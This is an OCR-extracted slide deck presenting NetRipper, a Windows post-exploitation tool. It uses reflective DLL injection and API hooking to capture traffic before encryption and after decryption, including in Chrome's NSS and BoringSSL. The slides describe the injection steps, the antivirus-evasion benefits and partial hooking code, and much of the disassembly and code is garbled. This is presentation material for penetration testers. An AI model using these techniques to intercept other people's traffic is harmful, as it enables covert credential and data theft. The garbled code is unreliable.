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Introduction

NetRipper is a post exploitation tool targeting Windows systems which
uses APl hooking in order to intercept network traffic and encryption related
functions from a low privileged user, being able to capture both plain-text
traffic and encrypted traffic before encryption/after decryption.




When it is useful

Internal penetration test

User

Pentester Sysadmin

User




How it works - Example

Encryption layer




How it works - Example

Encryption layer




How it works - Example

Encryption layer




Implementation details

The DLL is injected into target processes

Specific functions are intercepted

Unencrypted data is saved locally




Classic DLL Injection

How it works:

1. Open the remote process

2. Write DLL full path location in process memory
3. Call LoadLibrary() to load the DLL

Disadvantages:
DLL must be written on disk
DLL is listed in the process modules




Reflective DLL Injection

Stephen Fewer [Harmony Security]

How it works:

1. DLL contents are copied from memory to target process memory
2. An exported function is called ( ReflectiveLoader() )

3. The function correctly loads the DLL into memory

Advantages:
v DLL does not touch the disk (antivirus bypass)
v DLL is not listed in the process modules (stealth)




Detailed Reflective DLL Injection [1]

Load the DLL contents into remote process:




Detailed Reflective DLL Injection [2.1]

Find the DLL image base (like LoadLibrary):




Detailed Reflective DLL Injection [2.2]

Find useful functions:

LoadLibraryA, GetProcAddress, VirtualAlloc, NtFlushinstructionCache




Detailed Reflective DLL Injection [2.3]

Load DLL headers and sections:




Detailed Reflective DLL Injection [2.4]

Process imports and load additional DLLs:




Detailed Reflective DLL Injection [2.5]

Process image relocations:




Detailed Reflective DLL Injection [2.6]

Call entrypoint (DlIMain):




APl Hooking

user32.dll

ncrypt.dll

SslEncryptPacket
SsIDecryptPacket

ws2 32.dll
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APl Hooking

Find function address

Place a “call” instruction

Call a generic hook function instead
Restore original bytes

Call a callback function

Call original function

Save network traffic data

Restore hook




Normal function code:

TSEZeFO01

Lo N o= Wy

Lo B o=

BBFF

55

BBEC

B3EC 10

=1

87

33FF

813D 4870E475

Z92EEZTS

75 TB

353D TOT70E475

74 73

APl Hooking

T T
i LERT)

EDI,EDI

DPUSH EED

MOV EBP,ESP

SUE ESP, 10

PUSH ESI

PUSH EDI

XOR EDI,EDI

CME DWORD PTR DS:- [TSE47048],WS2 32
SHORT W52 32 . 7SEZ&F54

CMP DWORD PTR DS:- [75E470701,EDI

SHORT W52 32 .7SEZ6F34

SEET e T

Dl o Dl

Hooked function code:

TSEZeF01

L o= O

L N L

E8 DADVEBBF OSCEB4cEQD

B3EC 10 SUB ESP, 10

=1 PUSH ESI

57 PUSH EDI

33FF HOR EDI,EDT

813D 4870E475 Z3ZEEZTS CMPE DWORD PTR D5: [V5E47048] W32 _32.7
75 TB SHORT WS2Z 32 _75SEZ6F34

259320 VOT0EA47TS CMP DWORD PTR DS:- [75E47070],EDI

T4 T3 SHORT W52 32 . TSEZeF34

ST T




APl Hooking details

Place hook:




APl Hooking details

Get hook information:




APl Hooking details

Place hook:




APl Hooking details

Callback function:




Hooking Chrome NSS

atatic PR atus

g3l InitICLayer (void

"o e

gal_layer id = PR _GetUniqueldentity

g3l SetuplOMethods static wveid
33l _inited = PR_THL

return PR SUC

33l SetuplfMethcods

*new_methods = scombined methods;

*napr methods PR GetDefault

*my_methods = £33l methods;

= *napr methods;

2773. static const PRIOMethods ssl methods

2774, PR DESC LaYERED,

33l

new methods->file type = my methods->file type;

new_methods->close my methods->close;

new methods—-> = my methods->read;

new_methods-> my methods->write;
s3]l HWrite,
=33l ilabkle,

g3l Availabletd,
g3l FSync,

3l Seek,

g3l Seekéd,

g3l FileInfo,

/net/third_party/nss/ssl/sslsock.c

s3]l Connect,




BE247829
BE24722B
BE247220
BE247E2F
BE247534
BE247532
BEZ247E32A
BE247E3F
BE24 7544
BE24724E
BEZ247258

Hooking Chrome NSS

2308 wOR ERE, ERA
2937 MO OWoRD PTR DS: CEDIT.ESI
~EB EE SHORT chrome_1.H0E247210
&2 CAES 48F FUSH chrome_1.0F74EE50 ASCII ""s5L™
Eg 48FEFFFF chrome_1. BE246ETD

i
ES

CPES cBBSCEAF 81008860
2aca

C3

24 BSCEAF
HOAEEEEA




Hooking Chrome NSS

tring[ ]
tring[ ]
unsigned char MOV _string[]

Ead
(]

unsigned char SSL_

unsigned char PSH

oM @

]
[ex]
e 'I' (]

Initialization data

zections

:1GetModu
:1GetModu

DWORD pSSL = Process::SearchMemory((void *)rdata.dwStartAddress, rdata.dwSize, (wvoid *)SSL_string, 7);
memcpy (PSH_string + 1, &pSsL, 4);

. ] DWORD pPSH = Process::SearchMemory((void *)text.dwStartAddress, text.dwSize, (wvoid *)PSH_string, 5);
. Find SSL string

DWORD pMOV = Process::SearchMemory((void *)pPSH, 5@ee, (void *)MOV_string, 4) - 4;

2. Flnd pUSh SSL /f Get function addre s from structur
1 DWORD dwStruct = *(DWORD *)pMOV;
3 = FI nd MOV [X]l 4 DWORD pfSSL_Read = *(DWORD *)(dwStruct + @x3);

DWORD pfSSL_Write = *(DWORD *)(dwStruct + @xC);

. Get pointers

SS5L_Read _Original = (S5L_Read_Typedef)pfSSL_Read;
SSL_Write_Original = (SSL_Write Typedef)pfSSL_Write;

ho

Hoocker: :AddHook("chrome.dl1l”, (void *)pfsSSL_Read, (void *)SSL_Read_Callback);
Hoocker: :AddHook("chrome.dll”, (void *)pfsSL_Write, (wvoid *)SSL_Write_Callback);




Hooking Chrome BoringSSL

LIE ##lib
_ LINE

int 55L read(S5 *3, void *buf, int num
n

if (3—>handshake
OPENSSL_PUT _E

return -1;

a->shutdown & S5L RECEIVED 5

s-r»rw3tate = S55L MOTHING;

return

_clear system error

return s-*method->ssl_read app dat

/ssl/ssl_lib.c

a

=,

. UNINITIALIZED

buf,

OPENSSL PUT =

return -1;

if (s—-r»shutdown &

s-rrwstate =
OPENSSL_FUT _E

return -1;

yvid *buf,

UNINITIALIZED);

OL_IS_SHUTDOWN

buf,




Hooking Chrome BoringSSL

BE41C1FS EE FUSH EEF

BE41C1FS  SBEC Mouw EBF, ESP

BE41C1FE SB40 82 MO ECk, OWORD FTR S5: [EEF+2]
HE41CIFE 8373 24 o@ CHMF OWORD PTR D:5: CECH+24], 0
BE41CzE2 75 23 SHORT chrome_1.B8E41C227
BE41Cz84 &2 BIEI0000 FUSH ZE9

BE41CZ89 &2 COIASHDE FUSH chrome_1.dF2RZACA ASCII "c:~b~buildwslavewin=build~sr
HE41C2HE &3 F4800000 FUSH GF4

BE41C213 &5 34880000 FUSH 94

BE41Cz218 &H 18 FUSH 1o

BE41CZ1H EZ ESDCFEFF chrome_1.BE482EDY
BE41C21F 9304 14 AOD ESF, 14

BE41C=22 8308 FF OF ER:, FFFFFFFF

BE41Cz25  &O FOP EEF

BE41C226  CF

Find 15t and 17t occurrence.

GF2HSES4

£3152068
S31E0B6E
E21EERDE
E21EFEEE
S2158066
E42EEE0E
£4351006
S4SBEEEE
E43E7REE
E423E2000
E45EAREE
S43CEREE
E404EREE
404 1066
£402E000
S403FEEE
E4029066
c402ABEE

BEAEZEEE
BE4E 1 ERE
aE48 1665
BEAE2EE0
BEEG 1 BEE
BE4E 1 ERE
BEEE 1 EaE
B1784605
BESC 1868
BEESREEE
BEEE1EEG
BEEG 1 BEE
BEEZEEAE
BEEFABEE
B1Ee4600
BEEG1BEE
BEEE ] ERE
BEEE 1 E6a5
BEAE2EE0
BEEG1BEE
BEEE ] ERE
BEEE 1 EaE
BEEE1EEG

BEEG 1 BEE
AFAG T RO

chrome_1:.

chrome_1
chrome_1
chrame_1
chrome_1

chirame_1
chrome_1
chrome_1

CPAFPI
COPAFPI
OPAEPT
CPAFPI
CPAFPI
COPAFPI

OFEPT
Ol 7

LeHt
Jrdata
.data
s
«SMENgY
L CErE
e loc

Lent
data
. idata
didat
=
Lo Lo

rdata OF

=
=

Contains Tupe
stack of thiPriwv
Hap
Map

A

Priw) 777

stack of thiPriwv

ap

FE header Imag
code Imag
imports, exm Inag
data mag
Imag

Imag

CrESOUTTES Imag
relocat ions| Imag
Map

Friw

Friuw

FE header
code, eHport) Imag
data Imag
imports Imag
Imag

CESOUDTES Imag

relocat ions| Inag
EE hezdcer Trzo

TF5000..

Imag| R

BEAE4EEE
BEEE ] ERE
BEEE 1 E6a5
BEEEIEEE
BEE2SEAG
BEEE 1 E6EE
BEEEEEEE
BEEG 1 BEE
BEEE2ERE
BEEE 1 EaE
BEE1 1666
BEAE4EEE
BEEE 1 EAE
aEad44EE5
BEEE2EE0
BEAE2EEE
BEEE ] ERE
AEEE2EE0

MECME
MSoMS
MESME
MECMS
MECME
MSoMS
MEoME
weuwtapi
weutapi
wewtapl
weutapi
weuwtapi
WeLtapi

Lo Lo

SEERT
data
»idata
.didat
LRI

Imag
Imag
Imag
CESOUDTES Imag
relocat ions| Imag
FE header Imag
code, eHport) Imag
data Imag
imports Imag

Imag
CESOUDTES Imag
relocat ions| Inag
FE header Imag
code, edport) Imag
data Imag
imports Imag
Imag
Imag

imports
data

TEs0lMCEs

JJJJJJ:UJJJJJJ:UJJJJEZUJJJJ:UJJJJJJ

LesAreEulz Balmi A

G| in%AreEs pEe, .,

m

m

S SR 5. ... cisb
~bulld-slave-~win
sbu i ld~srcsth ird
_party~boringssl
wsrc~ssl=ssl_Llib
o = [

vawmensnaFALLE

taMULL: teMULL: 15
SLuwz H

sbuild-slave-win
sbu i ldwsresth ied
_party=boringssl
“ErceEs LwEs l_cer




Hooking Chrome BoringSSL

gned char S5L string[] = "c

st unsigned int nBytesBeforeRead

unsigned int nBytesBeforelirite
signed int READ IND = :
int WRITE_IND = 15;

rdata
text

1. Search string

2. Search PUSH

3. Find 15" PUSH
4. Find 17t PUSH
5. Go back 17 bytes

DWORD pS5L = Process::SearchMemory((veid *)rdata.dwStartAddress, rdata.dwSize, (veid
memcpy (PSH_string + 1, &pSsL, 4);

DWORD pPSHRead earchMemoryByN d *)text.dwStartAddress, text.dwSize,
DWORD pPSHUWrite : yByh d *)text.dwStartAddress, text.dwSize,

we "bytes before™ to reach the function start

pPSHRead pPSHRead - nBytesBeforeRead;
pPSHWrite = pPSHWrite - nBytesBeforeWrite;

Sf Add hooks

_Read_0Original = (S5L_Read_Typedef)pPSHRead;
_Write Original = (S5L_Write_Typedef)pPSHWrite;

d *)pPSHRead, (void *)S5L_Read_Callback);
id *)pPSHWrite, (void *)S5L_Write_Callback);

Initialization

*)55L_string, 78);

d *)PSH_string, 5, READ_IND);
oid *)PSH_string, 5, WRITE_IND);




More details will be added in the
updated version!




DEMO




Project information



https://github.com/NytroRST/NetRipper/

Conclusion

Post exploitation tool

Uses Reflective DLL Injection and APl Hooking
Hooks application-specific functions

Captures all network traffic in plain-text

Easy to use




Questions?
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Contact information

ionut.popescu [@] outlook.com
contact [@] securitycafe.ro
admin [@] rstforums.com
@NytroRST




